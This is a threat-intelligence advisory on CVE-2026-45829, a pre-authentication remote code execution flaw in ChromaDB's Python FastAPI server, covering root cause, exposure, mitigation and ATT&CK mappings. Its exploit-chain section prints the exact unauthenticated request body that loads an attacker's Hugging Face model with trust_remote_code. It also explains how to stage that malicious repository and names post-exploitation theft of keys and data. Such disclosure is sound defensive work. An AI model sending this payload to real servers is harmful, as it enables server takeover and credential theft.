# ChromaDB CVE-2026-45829 "ChromaToast" — Pre-Auth RCE via trust_remote_code Hugging Face Model Load in FastAPI Server (HiddenLayer)

> HiddenLayer disclosed CVE-2026-45829 ("ChromaToast Served Pre-Auth"), a CVSS v4.0 10.0 pre-authentication remote code execution flaw in ChromaDB's Python FastAPI server. The POST /api/v2/tenants/{tenant}/databases/{db}/collections handler instantiates the embedding function — and downloads/executes the attacker-supplied Hugging Face model via trust_remote_code=True — before the authentication dependency fires. The server returns HTTP 500/403 after the payload has already executed as the ChromaDB process. Roughly 73% of internet-exposed ChromaDB instances run a vulnerable version (1.0.0–1.5.8, with 1.5.9 status unconfirmed by the maintainer), and the PyPI package sees ~14M monthly downloads. Adopters include Capital One, UnitedHealthcare, Weights & Biases, Mintlify, and Factory AI.

- **Published:** 2026-05-21T12:00:00Z
- **Last reviewed:** 2026-05-21T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0544
- **ID:** TL-2026-0544
- **Severity:** CRITICAL (CVSS 10)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 18 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-45829

## Description

Overview

CVE-2026-45829, branded "ChromaToast Served Pre-Auth" by HiddenLayer researcher Esteban Tonglet, is a maximum-severity pre-authentication remote code execution vulnerability in the Python FastAPI server distribution of ChromaDB — a widely deployed open-source vector database used as the memory/retrieval layer for LLM applications. The flaw was scored CVSS v4.0 10.0 (CRITICAL) by the CNA and classified as CWE-94 (Improper Control of Generation of Code — Code Injection). Disclosure to the maintainer began on 2025-11-28; despite a brief triage acknowledgement on 2025-12-16 and repeated follow-ups (direct email, IT-ISAC, and social media outreach through 2026-04-16), the maintainer has not produced a confirmed patch. HiddenLayer published the technical writeup on 2026-05-18.

Root Cause and Vulnerable Code Path

ChromaDB ships two server implementations: a Rust frontend (default for `chroma run` and the official Docker images) and a Python FastAPI server. Only the Python FastAPI server is vulnerable; the Rust server does not traverse this code path. The defect is an authentication-ordering bug — two compounding failures: (1) the server processes client-supplied embedding-function configuration, including arbitrary model identifiers and kwargs, without any allowlist; and (2) it performs that processing (which downloads and instantiates the model) before the FastAPI authentication dependency is enforced.

The defect lives in the `create_collection` handler in `chromadb/server/fastapi/__init__.py`. Per HiddenLayer's writeup, the embedding function is instantiated and the model loaded at line 813, while the authentication check executes at line 818 — well after the exploitation window has closed. The model-instantiation logic itself lives in `chromadb/api/collection_configuration.py`, and the unrestricted kwargs passthrough is implemented in `chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py`. Three registered embedding functions (sentence_transformer plus two transformers-backed variants) forward attacker-controlled kwargs straight to the underlying model loader.

Exploit Chain Analysis

1. Reconnaissance — Attacker fingerprints internet-exposed ChromaDB instances via Shodan/Censys queries for the `/api/v2/heartbeat` endpoint or the default ChromaDB banner; HiddenLayer's Shodan analysis put ~73% of discovered Python-server deployments in the vulnerable 1.0.0+ range.
2. Resource Development — Attacker stages a malicious Hugging Face repository (or any path the server can reach) containing two files: a `config.json` declaring an `auto_map` pointing to a custom Python module, and a `modeling_*.py` whose module-level code is the payload (reverse shell, in-memory loader, secret exfiltration, etc.).
3. Initial Access — Attacker sends a single unauthenticated POST to `/api/v2/tenants/default_tenant/databases/default_database/collections` (the default tenant/database are always present) with a body of the form:
   `{"name":"poc","configuration":{"embedding_function":{"type":"known","name":"sentence_transformer","config":{"model_name":"attacker/evil-model","device":"cpu","normalize_embeddings":false,"kwargs":{"trust_remote_code":true}}}}}`.
4. Execution — `SentenceTransformerEmbeddingFunction.__init__` calls into `sentence_transformers.SentenceTransformer(model_name, trust_remote_code=True, **kwargs)`. The Hugging Face transformers library resolves `auto_map`, downloads the attacker's Python module into `~/.cache/huggingface/modules/transformers_modules/<repo>/`, imports it, and executes top-level code as the ChromaDB process.
5. Post-Exploitation — Because ChromaDB typically runs with read access to embeddings, vector data, environment variables (API keys, database creds, LLM provider tokens), and often co-located ML model files, common post-exploitation actions include: exfiltrating embedded corpora and the documents indexed into them, stealing OpenAI/Anthropic/Cohere API keys, poisoning existing collections so legitimate clients reload the malicious EF (the secondary collection-poisoning vector also tracked in issue #6717), pivoting into the underlying compute, or installing a persistent C2 (Sliver/Cobalt Strike/Mythic agents).
6. Cleanup — The authentication dependency completes after the payload returns and emits an HTTP 500 (or 403, depending on auth backend), so the offending request looks like a failed/garbled API call in access logs unless operators specifically log the request body.

Exploitation Reliability

The attack is highly reliable: no authentication, no user interaction, default tenant/database identifiers, and a stable target endpoint. The PoC published by Hadrian works against a default deployment with a single curl call. Hadrian also published a non-code-executing Nuclei detection template that fingerprints the flaw by triggering a path-resolution error and confirming the random token reflects in the response body before authentication rejects the request.

Exposure and Impact

The `chromadb` PyPI package draws ~14 million monthly downloads. HiddenLayer's Shodan sweep showed ~73% of internet-exposed Python-FastAPI ChromaDB deployments running 1.0.0 or newer (the vulnerable range). Publicly listed ChromaDB adopters cited by HiddenLayer include Capital One, UnitedHealthcare, Weights & Biases, Mintlify, and Factory AI. Because ChromaDB is overwhelmingly used as the retrieval store for RAG pipelines, a single successful exploit typically yields LLM provider API keys, the document corpus indexed for retrieval (often proprietary or PII-bearing), and a foothold inside the AI application stack.

Patch and Mitigation Status

As of 2026-05-21, the maintainer has not confirmed a patch. Version 1.5.9 was released shortly before HiddenLayer's publication but neither HiddenLayer nor Hadrian could confirm it remediates the issue, and the GitHub security issue chroma-core/chroma#6717 remains open with no patch PR referenced. Defenders should: (a) migrate to the Rust server (`chroma run` or the official Docker images, default since 1.0.0); (b) if the Python FastAPI server must be used, block all unauthenticated network access to the API port and front it with an authenticating reverse proxy that enforces auth at the network edge — relying on ChromaDB's in-process auth is insufficient; (c) hunt for the IOC signatures listed below in historical logs and on disk; (d) audit for collection-poisoning by inspecting persisted embedding-function configurations on every existing collection for non-default `kwargs`, especially `trust_remote_code: true`.

## MITRE ATT&CK

- T1595 Active Scanning
- T1590 Gather Victim Network Information
- T1583 Acquire Infrastructure
- T1608 Stage Capabilities
- T1587 Develop Capabilities
- T1190 Exploit Public-Facing Application
- T1195 Supply Chain Compromise
- T1059 Command and Scripting Interpreter
- T1204 User Execution
- T1106 Native API
- T1505 Server Software Component
- T1574 Hijack Execution Flow
- T1068 Exploitation for Privilege Escalation
- T1036 Masquerading
- T1027 Obfuscated Files or Information
- T1070 Indicator Removal
- T1552 Unsecured Credentials
- T1528 Steal Application Access Token
- T1046 Network Service Discovery
- T1082 System Information Discovery
- T1526 Cloud Service Discovery
- T1550 Use Alternate Authentication Material
- T1213 Data from Information Repositories
- T1005 Data from Local System
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1102 Web Service
- T1041 Exfiltration Over C2 Channel
- T1567 Exfiltration Over Web Service
- T1565 Data Manipulation
- T1485 Data Destruction

## Sources

- [HiddenLayer Research — ChromaToast Served Pre-Auth](https://www.hiddenlayer.com/research/chromatoast-served-pre-auth)
- [Hadrian — CVE-2026-45829: ChromaDB Python server hands you RCE before it asks who you are](https://hadrian.io/blog/cve-2026-45829----chromadb-python-server-hands-you-rce-before-it-asks-who-you-are)
- [BleepingComputer — Max-severity flaw in ChromaDB for AI apps allows server hijacking](https://www.bleepingcomputer.com/news/security/max-severity-flaw-in-chromadb-for-ai-apps-allows-server-hijacking/)
- [SecurityWeek — Unpatched ChromaDB Vulnerability Can Lead to Server Takeover](https://www.securityweek.com/unpatched-chromadb-vulnerability-can-lead-to-server-takeover/)
- [The Cyber Express — CVE-2026-45829: ChromaDB FastAPI ChromaToast RCE Exploit](https://thecyberexpress.com/cve-2026-45829-chromatoast-chromadb/)
- [NVD — CVE-2026-45829](https://nvd.nist.gov/vuln/detail/CVE-2026-45829)
- [chroma-core/chroma GitHub Issue #6717](https://github.com/chroma-core/chroma/issues/6717)
- [Feedly Threat Intelligence — CVE-2026-45829](https://feedly.com/cve/CVE-2026-45829)
- [Intruder — CVE-2026-45829 Overview, Insights & Trends](https://cvemon.intruder.io/cves/CVE-2026-45829)
- [Hugging Face Transformers documentation — trust_remote_code](https://huggingface.co/docs/transformers/main/en/model_doc/auto#transformers.AutoConfig.from_pretrained.trust_remote_code)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0544